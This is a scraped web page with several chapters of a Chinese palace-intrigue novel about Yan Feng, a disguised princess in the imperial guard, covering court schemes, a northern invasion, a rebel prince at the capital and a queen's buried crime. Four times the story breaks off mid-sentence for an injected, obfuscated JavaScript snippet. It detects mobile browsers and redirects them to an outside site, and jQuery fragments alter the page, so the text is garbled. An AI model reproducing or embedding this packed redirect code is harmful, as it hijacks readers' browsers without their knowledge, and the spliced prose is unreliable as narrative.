守门的太监将门推开，暖意夹着龙涎香气扑面而来。出乎意料的是，今夜暖阁内并非皇帝一人。她的顶头上司、著名垂钓爱好者、锦衣卫指挥使李芳贤李大人竟也在场。 燕风心中并未因此稍安。经历今日种种，她对这位素日看似万事不萦于心的老好人，已有了全然不同的看法。 她上前恭敬行礼：“臣燕风，叩见陛下。” 皇帝的声音从书案后传来，竟带着不同寻常的热络：“朕的皇儿，快些起来，不必多礼。” 燕风心中怪异感骤升。‘皇儿’这称呼，私底下偶有提及，可当着李芳贤的面……她面上纹丝不动，依言起身，又转向李芳贤的方向微微一揖：“见过指挥使大人。” 皇帝已从书案后踱步过来，神色凝重中透着亢奋：“深夜召你们前来，是有紧急军务相商。” 他走回案前，拿起一封拆开的火漆急报，“北边刚传来的消息，边瓦可汗脱脱不花病逝了。” “其幼子萨尔图，弑杀兄长，篡夺汗位。” 皇帝眼中锐光闪动：“夺位之后，他立刻勾结阳高城内的奸细，里应外合，一夜之间袭占阳高，为封锁消息，屠了全城。” 屠城。 燕风心头颤了颤。 “这是陇地裕王发来的八百里加急，萨尔图的大军，正扑向陇地。裕王向朝廷求援。不过，他在急报中也言明，他并无一战之力，希望率亲卫兵马，退入京城避难。芳贤，你怎么看？” 李芳贤拱手：“陛下，萨尔图不过一黄口小儿，年轻气盛，不足为惧。倒是裕王……其心有异，非止一日。带兵入京？万不可行。况且北地遥远，交通不便，此事发生得也太过蹊凑，焉知不是他为了回京编造的借口！” 皇帝立刻接口：“芳贤所言，深得朕心！裕王狼子野心，朕岂不知？” 他踱了两步，眉头又皱起：“不过……万一，万一此事为真，边瓦果真大举南下，又该如何是好？” 李芳贤点头：“为保万全，陛下当遣一员得力将领，率一支精兵，速往陇地视察，一探究竟，亦可临机应变。” “正合朕意！”皇帝抚掌，眼中兴奋之色更浓，“只是，该派谁去呢？” 他故作沉吟，随即恍然道：“不如就派宗家那孩子，宗恂。朕记得他去年方从北边归来，路途也算熟稔。纵有敌情，裕王私下所蓄兵力，加上宗恂带去的禁军，想来也够应付了。” 李芳贤垂眼：“陛下英明。” 皇帝仿佛这时才想起燕风在场，对她道：“皇儿。此等国家军机大事，虽不该同你商讨，但你也曾在北地历练过，可曾与那萨尔图打过交道？你觉得，裕王这急报，有几分可信？” 燕风垂着头，袖中的手指一节节收紧。 这一君一臣，一唱一和，分明是早已定计。禁军是什么德行，谁人不知？ 若边患为真，他们便是打定主意拿裕王与宗恂作马前卒；若边患是假，裕王包藏祸心，宗恂更是羊入虎口！ 她强行压下翻腾的心绪，谨慎开口：“启禀父皇，儿臣在北地时，职位低微，并不曾与萨尔图那等人物有过接触。此事，儿臣不敢妄断。” 皇帝打量她几眼，短暂的沉默后，又问：“对了，三皇子那案子，你查得如何了？可有进展？” 燕风迫使自己更加低眉顺眼，显出十足的恭谨：“回父皇，已有些眉目。可事关天家血脉，儿臣不敢有丝毫轻忽，恳请父皇宽限些时日，容臣查证确实后，再行详禀。” 皇帝盯着她低垂的头顶，片刻，脸上缓缓绽开一个慈和的笑容。 “好，谨慎些好。朕，等你消息。”随后便让燕风退下，独独留下了李芳贤。 退出暖阁，燕风走了几步，始终觉得有些不甘心。她停了脚步，对引路的小太监道：“我在此等候李大人一道出宫。” 小太监面露难色：“燕大人，这……外臣不好在宫内随意逗留。况且，奴才也不知李大人何时出来……” 两人正僵持间，一个清脆的女声自身后传来。 “燕大人！” 燕风回身，却见七公主独自站在不远处的廊柱旁。几日不见，她好像又清减了一些，脸庞褪去了少女的圆润稚气，眉宇间多了些沉静的秀丽。 她走近，对小太监温声道：“小洪子，我与燕大人说几句话，劳烦你退下稍候。” 小太监如蒙大赦，连忙躬身退开。廊下只剩二人。她们并未拘礼，并肩靠在了宫墙边。 “公主越发沉稳了。”燕风真心道。 七公主淡淡一笑：“是么？我倒觉得，从前更痛快些。” 说着，她从袖中取出一个小小的陶罐，倒出一颗琥珀色的糖，递过来，“燕大人，吃糖吗？” 燕风眉头微蹙，正要婉拒。 七公主却已自然地转回了手，将糖送入了自己的口中。 “没事的。” 她含着糖，目光投向远处。“不喜欢吃没事的。” 她忽然转过头，认真看向燕风：“对不住。” 燕风微怔：“公主此言……” “你先听我说完。”七公主打断她，语气平静却坚决。 “我很早就发现，你不爱吃甜。起初没在意，觉得男子不爱吃甜也正常。后来才慢慢觉出不对，才慢慢想起来……那可能是我的错。” 燕风心头猛地一跳，抬眼看她的眼睛。 七公主却已转回目光，望着空旷的宫道：“我小的时候，跟着五姐，做了很多荒唐事。其中有一件，特别坏。” 她停顿片刻，才继续说下去：“我们发现宫里有个没人管、总是很邋遢的小女孩。宫人说，那是我们的亲姐妹。” “我们明知道她总是饿得厉害，却拿了些糖，放在喂猫的食盘里，引她过来……然后，把她闷头打了一顿。说她偷吃猫食，活该。” “但其实……”七公主轻轻说，像在问自己，“猫怎么会吃糖呢？” 她终于转过头，小心地注视着燕风的眼睛。 “只有人才会吃糖啊。” “对不住，六皇姐。” 晨风穿过宫道，却突然有些温柔。 “你是怎么知道的？” 七公主慢慢起了身：“想活下去，自然要变得聪明些。我知道的还有很多，等下次合适的时候，我再同你慢慢说。” “再会，燕大人。” 燕风这才看到宫道另一头，李大人正不紧不慢地走来。 目送七公主离去，她压下心绪，快步迎上：“大人！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485598|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李芳贤停步，看她一眼，随即对身侧随从低语几句。随从无声退至远处拐角。 燕风深吸一口气：“大人，方才在暖阁，有些话当着父皇的面，属下不便直言。” 李芳贤脸上没什么表情，只“嗯”了一声，示意她说下去。 “属下其实与萨尔图打过交道。”燕风焦灼道，“此人绝非莽夫，他勇悍狡诈，更精权术，极难对付。要么不动，动则必须雷霆万钧，一击即中，绝不能让他有喘息之机。” “北地诸部素来松散，彼此猜忌。萨尔图弑兄上位，根基未稳，眼下必有许多部落正持观望之态。此时正是一举歼灭此敌的最佳时机。若朝廷首战不利，哪怕只是小挫，让他占了丝毫便宜，那些墙头草般的部族便会认他天命所归，纷纷投效。届时其势如火燎原，再难遏制。” 她顿了顿，沉声继续道：“而京城禁军，大人比属下更清楚。闲散日久，空饷吃缺更是积弊！以此等兵马，去迎击萨尔图如狼似虎、正欲立威的新胜之师，不啻驱羊入虎口，徒损军威，反助敌焰！” “宗将军此去，若真遇敌情，绝不可仅凭裕王那点心思难测的私兵和不堪大用的禁军。属下恳请大人斡旋。上策，当火速自西南调兵，那是宗将军旧部，堪为倚仗。退而求其次，亦应从京营抽调真正精锐随行。” 李芳贤静静听完，目光在她脸上停留一瞬。 宫阙深寂，远处传来隐约的晨钟。 他只道了句：“知晓了。” * 燕风牵着马出了宫门，却没再上马。 松开缰绳，她轻拍马臀，那匹识途的老马便自行嘚嘚地往北镇抚司去了。 心里头乱，她想踩着实地走走。 她不是傻子，或许李芳贤也根本不屑在她面前作态。方才那番肺腑之言恐怕是白说了，非但白说，说不定还起了反效果。单看李芳贤那听完便径直离去的态度便知道了。 此等军国急务，今日午朝，怕就要颁下明旨。一旦当众宣布，便是金口玉言，再无转圜余地。 不光如此，皇帝方才在暖阁里的神情，此刻回想，越想越觉诡异——阳高城破，子民遭屠，身为人君，他眼底闪动的情绪，为何竟似是亢奋？ 她齿间几乎迸出冷笑。不愧是她的仇人，一个不可理喻、彻头彻尾的疯子。 至于李芳贤，她恨恨地想，不过是他主子跟前一条听话的老狗。 没走几步，拐过街角，一个早早支起的馄饨摊撞入眼帘。热气袅袅，白雾后面摊主那张脸有些眼熟。燕风再看那招牌，竟是李芳贤带她吃过的那摊。 “老板，”她喊了一声，“生意做到这儿来了？记得原先是在东子胡同口。” 老头从雾气后探出脸：“原来是老主顾。小老儿午时和夜里在东子胡同，早上就来这儿，好些年了。客官，来碗馄饨？热乎的呢？” “哦，倒是辛苦。” 燕风随口应了句，心念却一转：那姓李的腿脚慢，等下说不定也会路过这儿…… 她当即扬声：“来三碗！” 摊主一愣，好意提醒：“这位爷，咱家馄饨实在，一碗就管饱。三碗怕是……” “少废话。”燕风打断他，“让你上就上。” 吃，都吃光！最好连汤底都喝干，让那姓李的老匹夫待会儿来，连口热汤都捞不着！ 冷风里等着，才解气呢。 93. 御极 燕风正埋头吃着，突觉光影一晃，摊前多了个人影。 “老板，劳烦，一碗馄饨。” 她叼着半只馄饨抬眼一看，不是李芳贤，是个穿僧袍留光头的陌生和尚。 “和尚也吃肉馄饨？” 她今日邪火正盛，看什么都不顺眼，连路过只狗都想踹两脚。 和尚闻声，瞥了她一眼：“这是素馅馄饨。” 燕风：？ 一旁忙活的摊主探过头，连忙陪着笑打圆场：“哎哟，这位客官，误会了误会了！小老儿这摊儿，卖的确实是素馄饨！您看，招牌上写着呢！” 燕风一怔，这才仔细去看那面饱经风霜的木招牌。只见两个歪歪扭扭的“馄饨”大字上方，果真有一个小小的“素”字。 不细看，还以为是甩的墨点。 摊主还在絮絮叨叨地解释：“不是素的，哪能卖这个价钱哟！虽说没肉，但小老儿有祖传的秘制酱料方子，吃起来啊，那鲜劲儿，跟肉的差不离！好些个吃斋的老爷们，都特意寻来呢！” 吃斋的老爷……燕风握着勺子的手微微一顿。 李芳贤是不是其中一个呢？ 她心中突然有了个模糊的猜想，于是囫囵吞下剩下的馄饨，将钱拍在桌上，转身便急匆匆地往家里赶。 回到宅中，她先疾步去了李鱼歇息的厢房，“她怎么样了？” 宗成青守在榻边，见她进来，忙起身轻声道：“刚醒过一回，用了药，又睡了。宗将军说，脉象稳住了，应是无大碍了，只是需静养。” 总算有个好消息。她点点头，没再多言，转身径直走向后院一间屋子。 屋内，宗成琦被绳索牢牢缚在梁柱上，几乎动弹不得。而他只是垂着头，眼睛无神地半睁着，倒也没有丝毫想要挣脱的样子。从昨夜起，他便一直如此，魂仿佛被抽走了，只留下具空壳。 燕风看着，心头无名火又起。她哐当一声拖了把椅子过来坐下，拿脚尖重重地踢了踢他小腿。 “干什么呢？大白天还发什么魇症！” 宗承琦连眼珠都没动一下。 恰在此时，门被推开，宗恂走了进来。他瞧见燕风眉宇间挥之不去的倦色，眼神中透出心疼，低声问道：“他还是什么都不肯说？” 燕风看见他，便想起方才在宫中所议之事，垂眼涩声应道：“嗯。” 这时，那一直如泥塑木雕般的宗承琦，竟缓缓抬起了头。他的目光在燕风与宗恂之间慢慢移动，最后嘴角扯出一个讥诮的弧度。 “我爹，”他忽然开口嗤笑：“这辈子心里从来只有他那个宝贝弟弟。偏偏又是个爱吹胡子瞪眼的老古板。” “他若是知道，他弟弟留在这世上唯一的儿子，跟一个不男不女厮混在一处。估计能气得从坟里活过来，再死一回。” 燕风一怔，旋即明白过来他指的是宗恂和自己。她敏锐地抓住话头，故意激道：“胡言乱语！你凭什么污我们清白？证据呢？空口白牙，谁不会说！” 宗承琦果然接话：“证据？两天前，你们刚从南边回来那个晚上，你敢说出来，你一整晚人在何处？” “若非你不在，我又如何能寻到机会，假扮成我弟弟混进来？” “我当是什么证据，说来说去还是只是你的猜测而已。我自知名声素来不佳，坊间传闻多了。” 她眉梢微挑，轻笑地补充：“对了，传得最厉害的还是同你的弟弟。” “你！”宗承琦眼底凶光骤现。 “我什么我？这等捕风捉影的胡话，你该不会已当作功劳，急急忙忙禀报给你那位主子了吧？” 宗承琦瞪了她一眼，又低头不说话了。 燕风同宗恂交换了一个眼神：还好，这是还没说。 她又继续道：“说起来，其实我有件事一直想不明白，今日我在外头走了一圈，见了些人，倒忽然想通了。” “三皇子当日到底为何要造反？凭他那点兵力，根本就是以卵击石！” 宗承琦依旧低着头，呼吸却突然重了些。 燕风看在眼里，冷笑：“答案很简单——他根本没想反！那份调兵的密令，是你伪造的吧？” “李芳贤自己发现了这件事，所以他替你灭了口。但他大概会错了意。他以为，这定是你主子的意思。” 燕风盯着他：“可陛下当真知晓吗？” “谋杀亲子，对那位来说确实不算什么。这点我懂，你懂，李芳贤也懂。” “但这一次，真是他让你做的吗？” “三皇子一死，太子便不得不倒。宗成琦，你真是条好狗，一出手便要折去你主子两个儿子。” 她眯着眼：“其中一个还被特意砍得面目全非……让我猜猜，是为了掩盖那堆尸体里，独独没有陈琦这个人吧？你在三皇子那儿，是叫这个名字，对不对？” “够了！”宗承琦脸上强装的平静彻底碎裂。他下意识想抬手捂住耳朵，可双臂被牢牢缚在身后，这尝试注定是徒劳。 “你别再说了……你到底想要什么？” 燕风缓缓站起身，眼神中只剩下赤裸裸的蔑视。 “我要你知道，宗承琦，你回不去了。” “不管你信不信，你的叔父究竟是不是被陛下构陷，你都回不去了。从你伪造密令，导致三皇子身败名裂的那一刻起，你就已经自断退路！” 她目光如炬：“所以我劝你，把知道的全都吐出来。” “这样，对大家都好。” * 前院一间厢房内，气氛同样凝滞得让人窒息。 罗同昨夜肩上挨的那刀不算太重，此刻正半倚在榻上闭目养神。门突然被无声推开，一道身影停在榻前，投下了一片阴沉的影子。 罗同有所察觉：“终于敢回来了？这么着看我做什么？” 迟三站在阴影里。 “我在想，你怎么还没死。” 罗同缓缓睁开眼，脸上并无意外之色：“这就是她许给你的好处？单老爷，这可坏了规矩。” “闭嘴！” 迟三像被火燎到一般，低吼道，“不准这么叫我！是你先坏了规矩！不然她怎么会知道我的身份？是你早就和她勾结在一起了，是不是？” 他胸膛剧烈起伏：“她又许了你什么？美色？” 罗同垂下眼，避开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485599|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他灼人的视线：“事情不是你想的那样。” “不是那样，那是哪样？”迟三越想越觉得自己的推测合理，语气尖刻起来。 “我说呢，这么多年，你对谁都不冷不热，身边也从不见女人。原来是心里早有所属了。” 他冷笑一声：“你可真是你老娘的好儿子。她年轻时犯过的错，你长大了，一模一样，再犯一次。” “住口！”罗同喝道，眼中怒意骤然迸发。 “不要提我娘！” 他喘了口气，仿佛用尽了力气才从齿间挤出一句：“她是我姐姐。” 迟三的表情凝固。 “……什么？” 罗同苦笑：“我娘当年，生下的是一对双生儿。” 迟三茫然：“可她是……长公主啊……” “是啊。” 罗同吐出的话石破天惊：“所以先帝才再无子嗣。你知道的，同我们这几族血脉结合过的人，便再不能与他人诞育后代了。” “等等！” 迟三骤然意识到了什么：“你母亲是你们族中那一代的继承人，那么长公主作为她的女儿，岂非也……” 他顿住，喉结滚动了一下，才低声问出关键：“她得到了何种‘能力’？” 罗同平静地反问：“你不是已经亲身体会过了么？” 他开口，给出了那个，迟三心中已然浮现的答案。 “蛊惑人心。” * 宫里的效率这次快得惊人。未及午朝，传旨太监已至，封宗恂为征北将军，即率麾下禁军北上协防，当日便须开拔。 虽在意料之中，燕风心里仍是难捱。送走宗恂，她佯装回北镇抚司，随即悄然转道徐府。 徐大公子与太子早已得了消息，所忧却是另一件事：宗恂一去，京城便失一大臂助，昨日所议之事，还能成么？ 燕风闻言，嘴角勾起一抹冰冷的弧度：“国门将破，殿下竟还在计较这些细枝末节。” 太子怔然：“燕大人此言何意？” “我不算了解萨尔图，却知裕王。世上再没有人比此人更贪生怕死了。当他上书请求避难之时，恐怕早已在来京的路上了。陛下与殿下都指望他以十万私兵一同御敌，最好是与敌偕亡，可他岂会乖乖听话？” “陇地前线，届时将唯有宗将军麾下那几万疏于战阵的禁军。一方是锐气正盛、急需战功的新汗大军，一方是仓促集结、从未备战的疲弱之师，此战无异于螳臂当车。” 她抬眼，直视面色渐白的二人：“待萨尔图如他父亲当年那般长驱直入挥鞭南下。那时候，我们可还有第二个宗谦，来打第二场彪炳千秋的京城保卫战？” 房中一片死寂，只余众人沉重的呼吸声。 良久，太子涩声问道：“那……依燕大人之见，该当如何？” 燕风整肃衣袍，向前一步，倏然单膝跪地，脊背挺得笔直。 她目光灼灼，似燃着破釜沉舟的决绝火焰。 “殿下，已无他路可走。” 她话语铿锵，如金石相击：“臣，燕风，愿肝脑涂地” “扶太子殿下，早登大宝。” 94. 仁寿 仁寿宫里的光阴，总似比别处淌得更慢些。 一位身着华服、满头白发的老妇人，正呆坐在铺着厚锦垫的椅中。这便是大靖的徐太后。 静静侍立在徐太后身侧的，是服侍了她大半辈子的老嬷嬷，名唤秋雯。秋雯也已很老了，身子却仍硬朗，五感也还敏锐。她忽然听见外头传来一阵轻轻的脚步声，便知道是福瑛长公主来了。 长公主径直走入内殿。 宫人们屏息垂首，退至角落。老嬷嬷秋雯，也无声地挪入了阴影里。 公主在太后身前坐下，端过一碗温热的药。 “母后，该用药了。” 她声音温柔，动作却有些不由分说，银匙已碰到了徐太后的嘴。 徐太后呆滞的目光微动，顺从地张嘴。她的视线落在女儿如画的眉眼上，似乎有片刻恍惚。 福瑛一边舀药，一边说着闲话。可说着说着，她望着神思恍惚的太后，突然勾起一个奇怪的笑，语出惊人。 “陛下啊，真是愈发不成器了。四年前北地之辱，成了天下笑柄便也罢了。如今，竟似半点记性也无，又要重蹈覆辙。” 她手中的银匙与碗沿轻轻一磕。 “不过还好，属于他的时间不长了。总有人容不下他再这般蠢下去。” 福瑛稳稳托着药碗，用丝帕温柔拭去太后嘴角的药渍：“母后放心，这次，女儿有了旁的备选。只是还需母后您，帮一点小忙。” 徐太后并没有半点反应。 福瑛不再说话，只一匙一匙，耐心地将碗中药悉数喂尽。喂完药，福瑛并未立刻起身。她凝视着眼前衰老的、被她称为母亲的女人，眼中掠过极复杂的情绪。 “母后，您总觉得，自己这一生输在没有儿子。可若真有了，又能如何呢？” 她伸手抚了抚太后花白而柔软的头发：“女儿都走到今日这步了。真希望您能清醒地看到这一切。” “看看您这一生，错得有多离谱，多可笑。” “您好好歇着。过两日，我再来看您。” 徐太后的目光，又落回殿角那盆永不凋谢的绢牡丹上。然而那双眼却始终空茫茫的，像是蒙了一层翳。 这些年，她常在浑噩与短暂的清明间摇摆。福瑛的话像一把钥匙，却似乎只拧动了她记忆深处另一把锁。 她又要说那个故事了，秋雯知道。 秋雯从阴影里挪出，坐在太后下首不远的地方。 故事总是从太后的名字开始。 徐婉贞。 这个名字，曾经代表了大靖朝最令人艳羡的命运：出生于钟鸣鼎食的徐氏，门第显赫，父兄皆是人中龙凤。尤其她的兄长，后来更是一步步成为权倾天下的重臣。 而她本人，豆蔻年华便已姿容出众，名动京城。及笄不久，一道恩旨降临，她凤冠霞帔，嫁入了天家，成为同样年轻俊朗的帝王的中宫皇后。 帝后和睦，家族鼎盛，她的人生，在很长一段时间里，圆满得如同戏文里最美好的篇章，挑不出一丝错处。 直到那次南巡。 皇帝回来了，身边却多了一个女子。 徐婉贞永远记得初见那女子的情形。没有盛装，不佩华饰，只静静立在殿中，却仿佛将满宫的金碧辉煌都衬得黯了下去。 她从未见过那般惊心动魄的美，不似凡俗之人，倒像误入宫阙的精魅山灵。那双眼睛顾盼生辉，当她望过来时，能叫人无端心悸。 然后，便是那女子有了身孕的消息。 生产的那一日来得很突然。皇帝恰离了宫，只剩她守着那女子。产房内是压抑的忙乱，直至血腥气彻底盖过熏香。 徐婉贞站在门边，看见那么多血，看见那张绝美的面孔惨白如纸，光彩尽失。 那一刻，她心中缠绕多年的嫉与怨，奇异地淡了。原来，她也会流血，也会露出这样虚弱丑陋的模样。 原来，她也只是个脆弱的凡人。 不知折腾了多久，一声细弱的婴啼划破了压抑，紧接着，是第二声。一双龙凤胎，竟在如此凶险中平安降生。 就在医官刚将两个孩子裹好的当口，产房的门，被人从外面猛地推开了。走进来几个人，有男有女，如同鬼魅般出现在这重重禁地深处，无人通传，无人阻拦。 榻上的女子望向他们，眼中骤然爆发出悲恸。 那几个人径直走向产床，意图带走女子，对一旁襁褓中的婴儿却似视若无睹。 “不……我的孩子……”女子不知从哪里生出的力气，嘶哑地挤出声音，手指向婴儿的方向。 为首者这才示意旁人去抱。然而就在这时，徐皇后向前迈了一步。 她太了解她的丈夫了，那位年轻英俊的帝王。他痴情，却未必长情；执着，却未必坚韧。若让那女子连同孩子彻底消失，他必定会像疯了一样去寻找。帝王的愤怒，是可以撼动山河的。 可若能留下点什么，一个与他血脉相连的念想…… 她的视线定格在那个女婴身上。 她伸出手臂，坚定地将那裹在襁褓中的小小生命，从产婆僵直的臂弯里接了过来，护在自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485600|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己胸前。 留下这个孩子，是对即将归来的皇帝的一个交代，也是她身为皇后，在这诡异的局面中所能维持的最后一点尊严。 为首之人审视徐皇后片刻，漠然转身。他们带走了虚弱的女子与男婴，如来时般悄无声息。 而徐皇后怀中渐渐止啼的女婴，便是后来的瑛长公主。 这个故事，徐皇后在先帝故后常讲给公主听。再后来，她老了，便又把这故事翻来覆去地，说给身边的秋雯听。 秋雯是个忠诚的、合格又沉默的听众，但她自己心里知道这个故事还有另外一个版本。 她所亲历的版本。 那日，根本没有闯入的陌生人。龙凤胎的啼哭先后响起时，女子已因失血过多而奄奄一息，气若游丝，确实像随时会死去。年轻的徐皇后，她的主人，看着襁褓里两个新生儿，脸上却没有一点喜悦。 恐惧。 她害怕这两个流淌着那女子血液、又即将成为皇长子长女的孩子。 于是，在弥漫着血腥气的产房内，她做了一个决定。 她支开了旁人，只留下最信任的秋雯。她颤抖着，用一床柔软的锦褥，亲手闷熄了那初生男婴细弱的啼哭与挣扎。 一个离奇的故事被迅速酝酿出来，在场的所有人都被重赏与威胁牢牢封住了口。徐皇后深信皇帝会接受这个说法，毕竟那女子本就美得妖异。最后，是秋雯奉命去做最后的处理。 意外便是在这时发生的。 秋雯在深夜的乱葬岗发现，那被草草丢弃的女子与婴孩，竟都残留着一丝微弱的气息。 她那时还很年轻，心肠也很软。她实在无法补上最后一击，于是最终只是仓皇覆以薄土，便回宫复命，谎称一切已办妥。 自那以后，徐皇后再未能怀上身孕。宫中妃嫔不断，却没有新的孩子诞生。只有秋雯知道，那些送去各宫的滋补汤药里，掺着什么。 岁月流逝，徐皇后的地位越发稳固，可她的胆子却似乎越来越小。她开始笃信神佛，吃斋念经，宫中的香火从未断过。 可她还是时常从梦魇中惊醒，冷汗涔涔。她永远忘不了自己亲手扼杀的第一个生命。愧疚与恐惧日夜蚕食着她，她衰老得很快。 而秋雯，始终沉默地侍立在一旁，为她梳头，为她披衣，听她反复讲述那个编造的、充满神秘与无奈的故事。 她看着主母在谎言与自我折磨中日渐枯萎。然而岁月也磨硬了她的心肠，所以她闭上了嘴，守口如瓶。 她从未说过，那个孩子，或许并没有死。 95. 欲来 燕风终究还是远远低估了裕王的速度。 这位爷的算盘打得不可谓不精。 待到京城精兵良将尽数北调，与萨尔图的虎狼之师在前线拼得你死我活之际，他再率亲兵悄然绕至后方。届时京城空虚，人心惶惶，他这位宗室贤王振臂一呼，以安社稷之名入主中枢，便可事半功倍。 为此，他一路重金开道，速通了沿途所有的关节。故而宗恂的兵马走出城不过半日，裕王麾下这支由私兵、边镇旧部纠合而成的大军，便悄无声息地出现在了北京城西郊的夜色之中。 兵临城下，裕王骑在马背上，望着远处巍峨的城墙轮廓，心头不免泛起一丝得意。 然而，他这份好心情并没有持续太久。 “王爷！大事不妙！” 探子匆匆赶回，气喘吁吁，“属下冒险抵近侦查，又抓了城外逃散的禁军散兵讯问……跟随那宗恂北上的，尽是禁军人马！京营、五军营、神机营的精锐……根本未见调动！” “什么？” 裕王下马，一把揪住探子衣领，“你问清楚了？京城之内，果真还有大队精兵？” “千真万确！王爷，而且……而且据逃兵言，宗恂所部禁军，军械不齐，士气低迷，多是老弱……恐怕，恐怕根本挡不住北边蛮子几日啊！” 裕王松开手，踉跄着倒退两步，只觉得一股寒意从脚底板直冲天灵盖。 他与龙椅上的那位天子，真不愧是一脉相承的堂兄弟，竟都想着让对方的人马去做马前卒，自己做那得利的黄雀。 皇帝根本没把真正的家底派去北地填那个无底洞！ 他把最精锐的部队牢牢攥在了手里，守着他这北京城！而把一堆不堪一击的禁军废物扔给了宗恂，去应付如狼似虎的萨尔图！ 这意味着什么？ 意味着萨尔图的大军很可能势如破竹，轻易击溃宗恂，然后挟大胜之威，滚滚南下。 而他裕王，此刻正带着几万兵马，不上不下地卡在京师坚城与蛮族铁骑之间。前有坚城，后有强虏！ 夜风吹过，裕王打了个寒颤。 不能退！退则军心涣散，前功尽弃。 亦不可强攻。京城墙高池深，精兵驻守，强攻只是徒耗兵力，为蛮子做嫁衣。 等？更是死路一条。 无数念头在裕王脑中疯狂冲撞。他脸色青白交错，拳头紧了又松。终于，他眼中掠过孤注一掷的狠色。 “去！把军中最能喊、嗓门最大的人给本王找来！越多越好！” 心腹不敢怠慢，很快便带来上百个粗豪汉子。 裕王扫过这些茫然的面孔，深吸一口气，厉声吩咐：“给本王听好了！你们三十人为一队，轮番上前，对着城门给本王喊！喊到全城都听见！” 他令人备好笔墨，将早已在心底酝酿了无数遍的檄文一气说出： “就喊——” “城上将士、京城父老听着！” “尔等昏主，轻启边衅，以致王师溃颓，山河板荡。一朝天子，竟为胡虏阶下之囚，羁縻北庭，苟延一载，此诚开国以来未有之耻，神州亿兆难雪之辱！更折我大靖半壁精锐，苍生膏血尽付东流。此其罪一也！” “三载前重履帝阙，不思抚恤忠魂，反密联敌酋，构陷柱国之臣！镇国大将军宗谦，阖门忠烈，竟遭尔辈内外勾连，喋血沙场，含冤莫白！此其罪二也！” “今北地烽燧再举，酋首萨尔图裂我边陲，屠我黎庶！然祸源何在？非在宗氏旧部枕戈待旦之忠，非在边关将士剖肝沥胆之勇——” 他声音陡然拔高，近乎尖厉： “尽在紫禁殿中，彼刚愎残刻、妒贤戕忠、断送国脉之独夫而已！” 夜色中，粗犷的吼声开始次第炸响，如巨石般砸向沉默的城墙。 一场攻心战，在这进退维谷的绝境里，仓皇又凶悍地拉开了序幕。 * 宫中传召的小太监赶到燕宅时，燕风刚从徐府回来不久，正与罗同等人在屋内紧急商议。 听到叩门，燕风心头一跳，匆匆整理衣袍迎出去，面上还带着几分来不及收敛的惊慌神色。 岂料，门外候着的小太监脸色比她还难看几分，一见她便急急上前。 “燕、燕大人！出大事了！陛下急召各位大人即刻入宫议事！” 话音未落，天空竟飘飘扬扬落下些细碎的东西。 初以为是雪，仔细一看，却是一张张粗糙的纸片，随着夜风四散飞舞。 其中一张不偏不倚，正糊在小太监脸上。小太监吓得尖叫一声，慌忙扯下，瞥见纸上字迹，更是魂飞魄散。 他手一抖扔了出去：“大、大逆不道……全是大逆不道！定是城外那些逆贼投进来的！” 燕风弯腰拾起一张飘落脚边的纸片。纸质粗劣，墨迹歪斜，确是仓促间大量誊抄的产物。 只是上面一行行写的…… 燕风差点要笑出了声。 她强压下嘴角，作出一副痛心疾首的样子：“可是裕王来了？” 小太监哆嗦着点头：“兵、兵临城下了！就在西郊！这些纸，还有那些嚎丧似的喊话，都是他搞的鬼！” “喊话？” 小太监指了指她手中的纸片，急得跺脚：“哎哟，您怎么还拿着这晦气东西！裕王不知从哪儿找来一群破锣嗓子，从戌时就开始对着城门吼，吼的都是这纸上写的，都快半个时辰了！” 燕风把后槽牙都快咬碎了，才堪堪维持住脸上凝重的表情。她正色道：“本官知晓了，这便动身入宫。” 临出门，她不忘侧身朝屋内扬声道：“今夜宫中有急事，不必等我，早些歇下！” 小太监虽心焦，闻言还是忍不住挤出一丝调侃的笑：“燕大人，这是……红颜知己？” 燕风摆手：“休要胡言。不过是我自家表妹，自幼胆子小，总爱缠着多问几句。” 小太监联想到市井间关于这位大人风流不羁的传闻，意味深长地点了点头。 * 今夜的暖阁，竟是从未有过的热闹。 燕风目光不动声色地扫过全场。几位成年皇子、内阁阁老、六部堂官，以及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 